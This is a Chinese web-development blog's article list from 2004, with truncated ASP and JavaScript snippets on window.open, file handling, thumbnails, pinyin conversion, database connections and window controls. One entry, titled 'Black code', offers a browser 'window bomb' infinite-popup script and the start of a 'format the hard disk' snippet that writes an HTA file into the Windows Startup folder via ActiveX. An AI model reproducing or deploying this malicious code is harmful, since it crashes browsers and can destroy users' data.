View Mode: Normal | Article List

Window.Open详解

[ 2004-09-08 18:35:36 | Author: zhenhua ]
一、window.open()支持环境:
JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+

二、基本语法:
window.open(pageURL,name,parameters)
其中:
pageURL 为子窗口路径
name 为子窗口句柄
parameters 为窗口参数(各参数用逗号分隔)

三、示例:
<SCRIPT>
<!--
window.open ('page.html','newwindow','height=100,width=400,top=0,left=0,toolbar=no,menubar=no,scrollbars=no, resizable=no,location=no, status=no')
//写成一行
-->
</SCRIPT>

  脚本运行后,page.html将在新窗体newwindow中打开,宽为100,高为400,距屏顶0象素,屏左0象素,无工具条,无菜单条,无滚动条,不可调整大小,无地址栏,无状态栏。请对照。
  上例中涉及的为常用的几个参数,除此以外还有很多其他参数,请见四。
...

Read More...

ASP文件操作类

[ 2004-09-08 18:34:40 | Author: zhenhua ]
<%
Dim MyFileFolder
Set MyFileFolder = New FileFolderCls
'Response.Write MyFileFolder.MoveAFile("f:\123\4561.exe","f:\123\4562.txt")
'Response.Write MyFileFolder.MoveAFolder("f:\456","f:\ditg\456")
'Response.Write MyFileFolder.ShowFileSystemType("i:\")
'Response.Write MyFileFolder.CopyAFile("f:\123\4562.txt","f:\123\4563.txt")
'!!!!
'Response.Write MyFileFolder.CopyAFolder("f:\123\","f:\789\")
'Response.Write MyFileFolder.ShowFolderList("f:\ditg")
'Response.Write MyFileFolder.ShowFileList("f:\123\123")
...

Read More...

用JS自动生成等比例缩略图

[ 2004-09-08 18:34:06 | Author: zhenhua ]
<!--
本示例演示图片加载时自动显示等比例缩略图,在做web程序的时候往往会遇到客户上传很大的图片,但是显示的时候如果把所略图的高宽比手工设置好,由于图片的形状不同会造成显示变形,这里用一段小脚本程序来解决这个问题,你可以把它修改一下做的更通用一些,比如说把Wa_SetImgAutoSize()函数加个img参数,然后在图片的onload=事件里传送自己去调用函数.
-->
<HTML>
<HEAD>
<TITLE>演示图片等比例缩小</TITLE>
<script>
function Wa_SetImgAutoSize()
{
var img=document.all.img1;//获取图片
var MaxWidth=200;//设置图片宽度界限
var MaxHeight=100;//设置图片高度界限
var HeightWidth=img.offsetHeight/img.offsetWidth;//设置高宽比
var WidthHeight=img.offsetWidth/img.offsetHeight;//设置宽高比
if(img.readyState!="complete")return false;//确保图片完全加载
...

Read More...

ASP将汉字转换成汉语拼音

[ 2004-09-08 18:33:23 | Author: zhenhua ]
<%
Set d = CreateObject("Scripting.Dictionary")
d.add "a",-20319
d.add "ai",-20317
d.add "an",-20304
d.add "ang",-20295
d.add "ao",-20292
d.add "ba",-20283
d.add "bai",-20265
d.add "ban",-20257
d.add "bang",-20242
d.add "bao",-20230
d.add "bei",-20051
d.add "ben",-20036
d.add "beng",-20032
d.add "bi",-20026
d.add "bian",-20002
d.add "biao",-19990
d.add "bie",-19986
d.add "bin",-19982
d.add "bing",-19976
d.add "bo",-19805
d.add "bu",-19784
d.add "ca",-19775
d.add "cai",-19774
...

Read More...

ASP数据库编程常用代码

[ 2004-09-08 18:32:08 | Author: zhenhua ]
1. ASP与Access数据库连接:
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&mdbfile
%>
 

2. ASP与SQL数据库连接:
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>


建立记录集对象:
set rs=server.createobject("adodb.recordset")
rs.open SQL语句,conn,3,2
...

Read More...

恶意代码/Black code

[ 2004-09-08 18:30:44 | Author: zhenhua ]
1.窗口炸弹代码
<script language="javascript">
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>

2.格式化硬盘的代码
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C--3FBFC">
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id=&apos;wsh&apos; classid=&apos;clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB&apos;>
...

Read More...

窗口控制代码

[ 2004-09-08 18:29:36 | Author: zhenhua ]
<!--最小化-->
<OBJECT id="min" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-

00aa003b7a11">
<PARAM name="Command" value="Minimize"></OBJECT>
<button onclick="min.Click()"><font face="webdings">0</font></button>

<!--最大化-->
<OBJECT id="max" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-

00aa003b7a11">
<PARAM name="Command" value="Maximize"></OBJECT>
<button onclick="max.Click()"><font face="webdings">1</font></button>

<!--关闭窗口-->
...

Read More...
1,双引号""

ASP中处在双引号中的可以是任意的字符、字符串,HTML代码。
比如

<%response.write ("cnbruce here")%><hr>
<%response.write ("<b>cnbruce here</b>")%>

产生的页面效果分别是:默认文字和加粗文字“cnbruce here”

下面再想想,如果我要在输出的页面文字上加一颜色效果该怎么办?

1,一般文字颜色这样写:<font color="#0000ff">cnbruce</font>

2,response.write写法是这样的:response.write("输入显示的内容")

3,如果要将上面超链接代码放到response.write中,有没有发现write方法中的双引号和color中的双引号形成嵌套效果,
势必形成response.write("<font color="#0000ff">cnbruce</font>")

4,调试结果不容乐观,因为color的前引号和write的前引号形成匹配,内容为<font color=;同样color的后引号也就和write的后引号...

Read More...